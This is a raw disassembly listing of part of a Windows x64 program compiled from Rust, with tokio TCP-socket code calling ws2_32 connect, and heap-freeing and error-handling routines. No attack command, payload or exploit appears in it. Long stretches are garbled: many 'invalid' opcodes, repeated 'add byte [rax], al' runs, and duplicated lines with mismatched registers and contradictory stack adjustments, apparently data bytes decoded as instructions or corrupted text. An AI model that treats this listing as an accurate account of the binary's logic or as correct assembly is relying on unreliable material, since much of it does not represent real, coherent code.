mov eax, dword [rcx + 0x28]
sub rax, rdx
jb 0x1400c31d3
mov r8, qword [rcx]
test r8, r8
je 0x1400c31ae
cmp r8d, 1
jne 0x1400c31a2
add rdx, qword [rcx + 0x18]
jb 0x1400c31eb
cmp rdx, qword [rcx + 0x10]
ja 0x1400c326f
add byte [rax], al
add byte [rax], al
mov qword [rcx + 0x18], rdx
mov qword [rcx + 0x28], rax
add rsp, 0x88
ret
mov qword [rsp + 0x28], rdx
mov r8, qword [rcx + 0x18]
mov r9, r8
mov ecx, eax
mov ecx, eax
sub r9, rdx
jb 0x1400c3203
mov qword [rcx + 0x18], r9
add qword [rcx + 0x10], rdx
mov qword [rcx + 0x28], rax
add rsp, 0x88
add esp, 0x88
add esp, 0x88
ret
lea rcx, [0x14015ce47]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x23
call fcn.140122660
lea rcx, str.overflow
lea r8, [0x14016acd0]
mov edx, 8
add byte [rax], al
cmp byte [rax - 0x73], cl
add eax, 0xfff6e687
mov dword [rsp + 0x50], eax
pop rax
add bh, byte [rdx + 0xa]
add byte [rbp + rcx*4 + 5], cl
xor edi, dword [rdx + 0xa]
invalid
jmp rax
lea edx, [rsp + 0x20]
and byte [rcx - 0x50], al
add eax, ebp
mov dl, 0xfa
invalid
mov r8b, 1
call fcn.14006e540
cmp al, 0xc
jne 0x1400c3305
xor eax, eax
add rsp, 0x48
mov byte [rsp + 0x20], 3
mov byte [rsp + 0x21], al
lea rcx, [rsp + 0x20]
and al, ch
pop rax
push rax
invalid
invalid
and al, ch
pop rax
push rax
invalid
in al, dx
call 0x1a60c3336
movq qword [rsp + 0x2d0], mm6
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
movzx eax, byte [rdx + 0x378]
test eax, eax
je 0x1400c33c1
cmp eax, 3
jne case.default.0x1400c336e
invalid
movzx eax, byte [rsi + 0x280]
lea rcx, [0x140194db0]
cmp eax, 3
jne 0x1400c33f1
mov rax, qword [rsi]
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_socket.rs
mov ebp, dword [rsi + 0x1f8]
cmp ebp, 0x3b9aca00
jne 0x1400c363f
movups xmm0, xmmword [rsi + 0x270]
movups xmmword [rsi + 0x2f8], xmm0
movups xmm0, xmmword [rsi + 0x260]
movups xmmword [rsi + 0x2e8], xmm0
movups xmm0, xmmword [rsi + 0x250]
movups xmmword [rsi + 0x2d8], xmm0
movups xmm0, xmmword [rsi + 0x240]
movups xmmword [rsi + 0x2c8], xmm0
movups xmm0, xmmword [rsi + 0x200]
movups xmm1, xmmword [rsi + 0x210]
movups xmm2, xmmword [rsi + 0x220]
movups xmm3, xmmword [rsi + 0x230]
movups xmmword [rsi + 0x2b8], xmm3
movups xmmword [rsi + 0x2a8], xmm2
movups xmmword [rsi + 0x298], xmm1
cwde
add al, byte [rax]
add byte [rdi], cl
adc dword [rsi + 0x288], eax
cwde
add al, byte [rax]
add byte [rdi], cl
adc dword [rsi + 0x288], eax
movzx eax, byte [rsi + 0x300]
test eax, eax
jne 0x1400c337f
invalid
mov rcx, qword [rsi + 0x2a8]
mov qword [rsi + 0x2b0], rcx
mov eax, dword [rsi + 0x28a]
movzx edx, word [rsi + 0x28e]
shl rdx, 0x20
and byte [rax + 9], cl
ret 0x86f6
mov byte [rdx], al
add byte [rax], al
add dword [rdi], ecx
test byte [rsi], ch
add eax, dword [rax]
invalid
and byte [rax + 9], cl
ret 0x86f6
mov r10d, dword [rsi + 0x29c]
mov r8d, dword [rsi + 0x2a0]
movzx eax, word [rsi + 0x2a4]
shr rdx, 0x10
mov dword [rsp + 0xb8], edx
mov rdx, qword [rsi + 0x290]
mov qword [rsp + 0xbc], rdx
mov edx, dword [rsi + 0x298]
mov dword [rsp + 0xc4], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0xcc], xmm0
movups xmmword [rsp + 0xdc], xmm0
fadd qword [rax]
add byte [rax], al
fadd qword [rax]
add byte [rax], al
movups xmmword [rsp + 0xec], xmm0
movups xmmword [rsp + 0xfc], xmm0
cld
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x10c], eax
cld
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x10c], eax
movups xmmword [rsp + 0x11c], xmm0
mov dword [rsp + 0x12c], 0
rol ax, 8
mov dword [rsp + 0xc8], r8d
mov dword [rsp + 0xc8], eax
mov dword [rsp + 0xc8], eax
mov r8d, 0x1c
mov r9w, 0x17
mov edx, r10d
jmp 0x1400c3931
mov r14, qword [rsi + 0x1f0]
movups xmm0, xmmword [rsi + 0x270]
mov dh, pe_nt_image_headers64
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x270], al
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rsi + 0x260]
movaps xmmword [rsp + 0x90], xmm0
sub dword [rsp + 0x90], eax
movups xmm0, xmmword [rsi + 0x250]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rsi + 0x240]
xchg byte [rax + 2], al
add byte [rax], al
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsi + 0x240], al
xchg byte [rax + 2], al
add byte [rax], al
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsi + 0x200]
add byte [rdi], cl
adc byte [rsi + 0x210], cl
add byte [rax], al
mov rax, rdx
shr rax, 0x20
rol ax, 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0xf8], xmm0
movups xmmword [rsp + 0xe8], xmm0
movups xmmword [rsp + 0xd8], xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0x128], 0
mov r8d, 0x10
mov r9w, 2
mov word [rsp + 0xb0], r9w
mov word [rsp + 0xb2], ax
mov dword [rsp + 0xb4], edx
mov dword [rsp + 0x130], r8d
lea rdx, [rsp + 0xb0]
call qword [sym.imp.ws2_32.dll_connect]
test eax, eax
je 0x1400c3974
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x2733
jne 0x1400c3ad1
mov rdx, qword [rsi + 0x2b0]
lea r15, [rsi + 0x2b8]
mov qword [rsi + 0x2b8], rdx
mov qword [rsi + 0x2c0], 0
lea r13, [rsi + 0x2f8]
mov byte [rsi + 0x2f8], 0
xor r8d, r8d
mov r14d, eax
shl r14, 0x20
or r14, 2
mov rcx, qword [rsi + 0x2b0]
call qword [sym.imp.ws2_32.dll_closesocket]
mov r12d, 2
mov byte [rsi + 0x300], 1
jmp 0x1400c3b2f
mov dh, 5
cdq
mov bh, 0xd
add byte [rdx + 8], bh
ror byte [rdi], 0x84
pop rsi
add al, byte [rax]
add byte [rcx - 0x77], cl
invalid
add al, byte [rax]
add byte [rcx], al
mov dh, 0xd
add byte [rcx], dh
sar bh, cl
adc eax, 0x6b890
add byte [rax], al
add eax, 0x95bfa
or byte [rbp - 0x77], cl
dec byte [rax + 0x3b]
sbb byte [rdi], cl
test esi, esi
idiv edi
invalid
dec dword [rbp - 0x7b]
div byte [rdi + rsi + 0x4c]
mov ebp, dword [rsi + 0x28]
invalid
add al, byte [rax]
add byte [rcx], al
add byte [rbx + rcx*4 + 0x76], cl
and byte [rbp - 0x7b], cl
div byte [rbp - 0x37]
add byte [rax], al
add byte [rcx - 0x3b1e17f9], dh
cli
dec dword [rax - 0x77]
ret
and eax, 0x48000001
mov dword [rax], ebx
clc
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400c3fea
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp r14b, 2
je case.0x14005714b.765
movzx eax, r14b
cmp eax, 3
jne 0x1400c4003
mov byte [rsi], 7
jmp 0x1400c4061
mov byte [rsi], 6
jmp 0x1400c4061
test r14b, 1
je 0x1400c4056
mov word [rsi], 3
jmp 0x1400c4061
shr r14, 0x20
mov byte [rsi], 5
mov qword [rsi + 8], r14
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea eax, [0x140159a10]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140159e40]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.140122900
call fcn.14012bf20
test al, al
jne 0x1400c3fd9
mov byte [r12 + 0x11], 1
jmp 0x1400c3fd9
add byte [rcx + 0xf], al
adc byte [rax + 0x10], cl
movups xmm2, xmmword [r8 + 0x20]
movups xmm3, xmmword [r8 + 0x30]
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
cmp r15, 3
jne 0x1400c4226
cmp byte [rsp + 0x20], 2
jb 0x1400c41ee
mov rdi, qword [rsp + 0x28]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call qword [rax + 0x10]
lea rcx, [rsp + 0x68]
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
call qword [rax + 0x10]
mov edi, 3
jmp 0x1400c433e
mov rdi, r8
add rdx, 0xa
lea rbx, [rsp + 0x8a]
mov r8d, 0xd6
mov rcx, rbx
call fcn.140121660
mov qword [rsp + 0x80], r15
mov byte [rsp + 0x88], r14b
mov byte [rsp + 0x89], bpl
cmp byte [rsp + 0xe0], 2
jb 0x1400c4291
mov r14, qword [rsp + 0xe8]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x108]
mov rax, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x100]
call qword [rax + 0x10]
lea rcx, [rsp + 0x128]
mov rax, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x120]
call qword [rax + 0x10]
mov rax, qword [rdi + 0x50]
mov qword [rbx + 0xa6], rax
movups xmm0, xmmword [rdi + 0x40]
movups xmmword [rbx + 0x96], xmm0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movups xmmword [rbx + 0x86], xmm3
movups xmmword [rbx + 0x76], xmm2
movups xmmword [rbx + 0x66], xmm1
movups xmmword [rbx + 0x56], xmm0
mov rdi, qword [rsp + 0x80]
movzx r14d, byte [rsp + 0x88]
movzx ebp, byte [rsp + 0x89]
lea rcx, [rsp + 0x162]
mov r8d, 0xd6
mov rdx, rbx
call fcn.140121660
mov qword [rsi], rdi
mov byte [rsi + 8], r14b
mov byte [rsi + 9], bpl
add rsi, 0xa
add esi, 0xa
add esi, 0xa
lea rdx, [rsp + 0x162]
mov r8d, 0xd6
mov rcx, rsi
call fcn.140121660
nop
add rsp, 0x238
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov r14, r8
test r8, r8
je 0x1400c44a3
mov r15, rdx
lea rax, [r14*8]
movabs rdx, 0x1c71c71c71c71c7
lea rbx, [rax + rax*8]
lea ebx, [rax + rax*8]
lea ebx, [rax + rax*8]
cmp r14, rdx
ja 0x1400c44c9
mov qword [rsp + 0x28], rcx
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rbx
call fcn.1400f8ae0
test rax, rax
je 0x1400c44d3
mov qword [rsp + 0x20], rax
mov r13, rax
add r13, 0x20
xor ebp, ebp
lea r12, [rsp + 0x60]
mov rsi, r14
nop word cs:[rax + rax]
cmp rbx, rbp
je 0x1400c4494
lea rdi, [r15 + 0x48]
lea rdx, [r15 + 0x38]
mov rax, qword [r15 + 0x20]
mov r8, qword [r15 + 0x28]
sub byte [rbp - 0x75], cl
xor byte [r9 + r9*4 - 0x1f], r9b
sub byte [rbp - 0x75], cl
xor byte [r9 + r9*4 - 0x1f], r9b
call qword [rax]
movzx eax, byte [r15 + 0x40]
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
sub dword [rsp + 0x30], eax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [r13 + rbp - 0x20], xmm0
adc dword [rbp + rbp - 0x20], eax
movups xmmword [r13 + rbp - 0x10], xmm1
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movups xmmword [r13 + rbp], xmm0
movups xmmword [r13 + rbp + 0x10], xmm1
mov rax, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
mov qword [r13 + rbp + 0x20], rax
add rbp, 0x48
mov r15, rdi
dec rsi
jne 0x1400c4400
mov rax, r14
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
jmp 0x1400c44aa
mov edx, 8
xor eax, eax
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], r14
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor ecx, ecx
mov rdx, rbx
call fcn.140122170
mov ecx, 8
mov rdx, rbx
call fcn.140122170
int3
mov qword [rsp + 0x40], rbx
ja 0x1400c4628
mov qword [rsp + 0x38], rcx
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rbx
call fcn.1400f8ae0
test rax, rax
je 0x1400c4634
mov r15, rax
mov qword [rsp + 0x28], 0
xor edi, edi
mov qword [rsp + 0x30], rsi
jmp 0x1400c45a9
mov r13d, 1
xor ebx, ebx
dec rsi
add r14, 0x18
mov rcx, r13
mov rdx, r12
mov r8, rbp
call fcn.140121660
mov qword [r15 + rdi], rbx
mov qword [r15 + rdi + 8], r13
mov qword [r15 + rdi + 0x10], rbp
add rdi, 0x18
test rsi, rsi
mov rbx, qword [rsp + 0x40]
je 0x1400c45db
cmp rbx, rdi
je 0x1400c45db
mov r12, qword [r14 + 8]
mov rbp, qword [r14 + 0x10]
test rbp, rbp
je 0x1400c4570
js 0x1400c461b
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rbp
call fcn.1400f8ae0
test rax, rax
je 0x1400c460e
mov r13, rax
mov rbx, rbp
jmp 0x1400c4578
mov rsi, qword [rsp + 0x30]
mov rax, rsi
mov rcx, qword [rsp + 0x38]
jmp 0x1400c45f2
mov qword [rcx], rax
mov qword [rcx + 8], r15
mov qword [rcx + 0x10], rsi
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 1
mov qword [rsp + 0x28], rax
mov r13, rbp
mov rcx, qword [rsp + 0x28]
mov rdx, r13
call fcn.140122170
xor ecx, ecx
mov rdx, qword [rsp + 0x40]
call fcn.140122170
mov ecx, 8
mov rdx, qword [rsp + 0x40]
call fcn.140122170
int3
and al, 0x38
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rbx
call fcn.1400f8ae0
test rax, rax
je 0x1400c486a
lea r12, [r15 + 0x58]
mov qword [rsp + 0x28], rax
mov r14, rax
add r14, 0x60
xor edi, edi
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rsi
jmp 0x1400c4796
nop
movups xmm0, xmmword [r12 - 0x50]
mov eax, 1
dec rsi
add r15, 0x68
mov rcx, qword [rsp + 0x9f]
mov qword [rsp + 0x7f], rcx
movaps xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x70], xmm1
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0xd0], rcx
movups xmm1, xmmword [rsp + 0x48]
movups xmm2, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0xc0], xmm2
movaps xmmword [rsp + 0xb0], xmm1
mov qword [r14 + rdi - 0x60], rax
movups xmmword [r14 + rdi - 0x58], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movups xmmword [r14 + rdi - 0x48], xmm0
movups xmmword [r14 + rdi - 0x38], xmm1
mov rax, qword [rsp + 0xd0]
mov qword [r14 + rdi - 0x28], rax
mov qword [r14 + rdi - 0x20], rbx
mov byte [r14 + rdi - 0x18], r13b
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [r14 + rdi - 0x17], xmm0
mov rax, qword [rsp + 0x7f]
mov qword [r14 + rdi - 8], rax
mov word [r14 + rdi], bp
add r12, 0x68
add rdi, 0x68
test rsi, rsi
mov rbx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
je 0x1400c4824
invalid
mov es, word [rax]
add byte [rax], al
cmp rbx, rdi
je 0x1400c4824
movzx ebp, word [r15 + 0x60]
mov rax, qword [r15 + 0x40]
test rax, rax
je 0x1400c47f0
mov bh, 0x6f
invalid
mov r8, qword [r12 - 0x10]
mov r9, qword [r12 - 8]
lea rcx, [rsp + 0x48]
mov rdx, r12
call qword [rax]
lea rcx, [rsp + 0x48]
mov rbx, qword [rsp + 0x48]
movzx r13d, byte [rsp + 0x50]
and al, 0x50
lea rax, [rsp + 0x51]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x90], xmm0
add byte [rax], al
mov rax, qword [rax + 0xf]
mov qword [rsp + 0x9f], rax
jmp 0x1400c47f8
movzx r13d, byte [r12 - 0x10]
xor ebx, ebx
lea rdx, [r15 + 0x30]
mov rax, qword [r15 + 0x18]
mov r8, qword [r15 + 0x20]
mov eax, dword [rdi + 0x20]
mov r9, qword [r15 + 0x28]
call qword [rax]
movzx eax, byte [r15 + 0x38]
mov byte [rsp + 0x68], al
and al, 0x68
cmp dword [r15], 1
je 0x1400c46d0
xor eax, eax
jmp 0x1400c46db
mov rsi, qword [rsp + 0x30]
mov rax, rsi
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x28]
jmp 0x1400c483f
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rsi
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov rdx, qword [rsp + 0x40]
call fcn.140122170
int3
add eax, dword [r8]
mov dword [rax], r15d
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
cmp ch, 0xdf
invalid
cli
invalid
invalid
sub cl, ch
or edi, edi
invalid
retf 0xd800
and al, 0x30
or r15d, 0xdc00
mov eax, 2
add byte [rax], al
int3
adc byte [rcx - 0x73], cl
and al, 0x28
mov rax, qword [r12 + 0x10]
mov rdx, qword [r12 + 0x18]
mov r8, qword [r12 + 0x20]
call qword [rax + 0x10]
mov eax, dword [rsp + 0x78]
jmp qword [rsi + 0x66]
mov eax, dword [rsp + 8]
lock dec qword [rax]
jne 0x1400c4c28
mov rcx, qword [r12 + 8]
call fcn.1400cb500
jmp 0x1400c4c28
invalid
invalid
invalid
invalid
sbb byte [rcx - 0x75], cl
push rsp
and al, 0x20
and al, 8
mov ecx, dword [rsp + 8]
invalid
add esp, 0x28
pop rsi
int3
iretd
invalid
add rdi, 0x18
dec rsi
dec esi
je 0x1400c4d80
cmp qword [rdi - 8], 0
je 0x1400c4d60
jg 0x1400c4d65
add byte [rax + rsi*8 + 0x4c], dh
mov eax, dword [rdi]
mov r8, qword [rdi]
mov rcx, qword [0x14019f258]
xor edx, edx
call rbx
jmp 0x1400c4d60
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
int3
int3
movzx eax, byte [rsi + 0x60]
cmp al, 0xb
je 0x1400c4dc3
cmp al, 0xa
jb 0x1400c4dc3
cmp qword [rsi + 0x70], 0
je 0x1400c4dc3
jle 0x1400c4e1d
add byte [rbx + rdx + 0x4c], dh
mov r8, qword [rsi + 0x68]
jge 0x1400c4d67
invalid
sal byte [rax + rbx + 0x48], 0x8d
lea ecx, [rsi + 0xb0]
xchg esi, eax
rol byte [rax], 0
adc byte [rax - 0x75], cl
xchg al, bl
add byte [rax], al
add byte [rax], al
invalid
invalid
and byte [rsi - 0x3d], bl
clc
jne 0x1400c4e94
pop rbp
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
sbb al, byte [rax]
add byte [rcx], cl
add byte [rax], al
add dh, al
test byte [rax + rdx*4], ah
sbb al, byte [rax]
add byte [rcx], al
add byte [rdi], cl
adc dword [rsp + 0x1ae8], eax
add byte [rax], al
add byte [rdi], cl
mov dh, 5
or dword cs:[0x1401d2be1], 0xc9310000
add byte [rdx + 0x10], bh
xor ecx, ecx
add byte [rdx + 0x10], bh
add byte [rdx + 0x60], bh
or byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x70], cl
adc byte [rcx + rcx*4 + 0x70], cl
sbb byte [rcx + rcx*4 + 0x60], cl
and byte [rcx + rcx*4 + 0x60], cl
sub byte [rax - 0x39], cl
xor byte [rcx], al
add byte [rax], al
add byte [rax - 0x47], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x38488948], al
mov eax, 0x1f0
add byte [rax - 0x7d], cl
inc dword [rdx]
add byte [rax - 0x75], cl
test byte [rax + rcx*2], ah
sbb al, 0
add byte [rax - 0x75], cl
sbb byte [rax - 0xa], al
mov dword [rcx], 0x16a840f
add byte [rax], al
and eax, 0x58
add byte [rbp + rcx*4 + 0x75], cl
adc byte [rcx - 0xf3fceff], dh
cmpxchg byte [rbp + 0x10], cl
add byte [rdi], cl
test byte [rsi], ch
add al, 0
add byte [rbx - 0x7af0fe01], al
invalid
ror byte [rbx + 0xd71570d], 0
mov ecx, dword [rdi + 0x68]
add byte [rcx - 0x7d], cl
out dx, al
or byte [rax - 0x73], 0x47
js 0x1400c8367
mov dword [rsp + 0xf0], esp
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x87
nop
add byte [rax], al
add byte [rax + rax*8 + 0x15e850f], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x78
adc byte [rax], al
add byte [rcx - 0x39], cl
xchg byte [rax + 0x10], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xf8], eax
sbb cl, byte [rcx]
add byte [rax - 0x77], cl
and al, 0x20
mov edi, eax
add byte [rax], al
push 0x247c8b48
jae 0x1400c8a42
add byte [rbx + 0x2a0b248c], cl
add byte [rax], al
mov bl, 0xfe
invalid
or eax, 0xffd23100
adc eax, 0x669e4
mov edx, 0x84000634
ror byte [rdi], 0x85
adc bl, al
invalid
pop rdi
std
dec dword [rbx + 0xd687505]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
mov eax, dword [rcx + rax*8]
add eax, dword [rax]
fadd dword [rax]
add byte [rax], al
add byte [rax], al
and al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rbx + rcx*4 - 0x42], cl
call 0xcb0c8b1b
test byte [rcx + rbp*2], ah
add al, byte [rax]
add byte [rbx + 0x26c248c], cl
and al, 0x6c
add al, byte [rax]
invalid
and al, 0x6c
add al, byte [rax]
add byte [rcx + 0x1c3248c], cl
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x4f0], eax
mov word [rax + riz*4], fs
add eax, 0x100f0000
xchg esp, eax
test ah, ch
hlt
invalid
xor dword [rcx], ecx
add al, ch
add ebx, dword [rbp + 0x8b90005]
mov ecx, 8
mov edx, 0x30
add byte [rdx + 0x2320], bh
add byte [rax], al
mov edi, dword [rsi + 0x248]
mov rbx, qword [rsi + 0x250]
mov rax, qword [rbx]
test rax, rax
je 0x1400c909f
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
cmp dword [rbx + 8], 0
je 0x1400c90c3
cmp qword [rbx + 0x10], 0x11
jb 0x1400c90b1
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x1a0]
call fcn.1400593f0
mov rax, qword [rsi]
test rax, rax
je 0x1400c90f0
lock dec qword [rax]
jne 0x1400c90f0
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp case.0x14009a20c.177
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea edx, [0x1401321d8]
lea rcx, [rsp + 0x30]
and al, 0x30
call fcn.1401224d0
int3
add byte [rbx + rcx*4 - 0x4a], cl
mov byte [rax], al
add byte [rax], al
test r14, r14
je 0x1400c9d42
mov rdi, qword [rsi + 0x80]
add rdi, 0x98
xor r15d, r15d
xor edi, edi
xor edi, edi
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c9c40
lea rcx, [rdi - 0x80]
call fcn.14001fef0
nop word [rax + rax]
add rdi, 0xf0
dec r14
je 0x1400c9d42
cmp dword [rdi - 0x98], 2
je 0x1400c9c30
mov rax, qword [rdi - 0x88]
mov edx, eax
and edx, 0xfffffffe
lea rcx, [rax - 3]
cmp edx, 4
cmovne rcx, r15
test rcx, rcx
je 0x1400c9c80
cmp rcx, 1
jne 0x1400c9c21
lea rcx, [rdi - 0x68]
mov rax, qword [rdi - 0x80]
mov rdx, qword [rdi - 0x78]
mov r8, qword [rdi - 0x70]
call qword [rax + 0x10]
jmp 0x1400c9c30
cmp eax, 3
jne 0x1400c9c9d
lea rcx, [rdi - 0x80]
call fcn.14001fef0
mov rbx, qword [rdi - 0x20]
pop rdi
loopne 0x1400c9cdb
test ebx, ebx
pop rdi
loopne 0x1400c9cdb
test ebx, ebx
jne 0x1400c9d26
add byte [rax], al
jmp 0x1400c9c30
cmp byte [rdi + 0x30], 0xa
jb 0x1400c9cba
cmp qword [rdi + 0x40], 0
je 0x1400c9cba
mov r8, qword [rdi + 0x38]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
cmp byte [rdi - 0x28], 2
jb 0x1400c9ce5
mov rbx, qword [rdi - 0x20]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
or eax, 0x49d23100
mov eax, ebx
ror byte [rcx - 0x77], cl
fadd dword [rcx - 1]
invalid
call r12
lea rbx, [rdi - 0x88]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
lea rcx, [rdi + 0x20]
mov rax, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
call qword [rax + 0x10]
mov rcx, rbx
call fcn.14001fef0
mov rbx, qword [rdi + 0x48]
test rbx, rbx
je 0x1400c9c30
mov rcx, rbx
call fcn.1400160e0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call r12
jmp 0x1400c9c30
cmp qword [rsi + 0x78], 0
je 0x1400c9d5f
mov r8, qword [rsi + 0x80]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x1b8]
test rax, rax
je 0x1400c9d75
mov rcx, qword [rsi + 0x1c0]
call qword [rax + 0x18]
movzx eax, byte [rsi + 0x190]
cmp eax, 3
je 0x1400c9dcf
test eax, eax
je 0x1400c9dcf
cmp eax, 1
jne 0x1400c9dab
lea rcx, [rsi + 0x1b0]
mov rax, qword [rsi + 0x198]
mov rdx, qword [rsi + 0x1a0]
mov r8, qword [rsi + 0x1a8]
call qword [rax + 0x10]
jmp 0x1400c9dcf
mov rax, qword [rsi + 0x198]
neg rax
jo 0x1400c9dcf
jae 0x1400c9dcf
mov r8, qword [rsi + 0x1a0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsi + 0x1d8]
test rbx, rbx
je 0x1400c9e99
mov rdi, qword [rsi + 0x1d0]
add rdi, 0x70
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c9e10
add rdi, 0x130
dec rbx
je 0x1400c9e99
cmp dword [rdi - 0x70], 2
je 0x1400c9e00
movzx eax, byte [rdi - 0x20]
lea ecx, [rax - 6]
cmp cl, 6
jb 0x1400c9e70
lea ecx, [rax - 3]
cmp cl, 3
setb dl
cmp cl, 1
setne cl
test dl, cl
jne 0x1400c9e70
movzx eax, al
test eax, eax
je 0x1400c9e70
cmp eax, 1
jne 0x1400c9e55
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
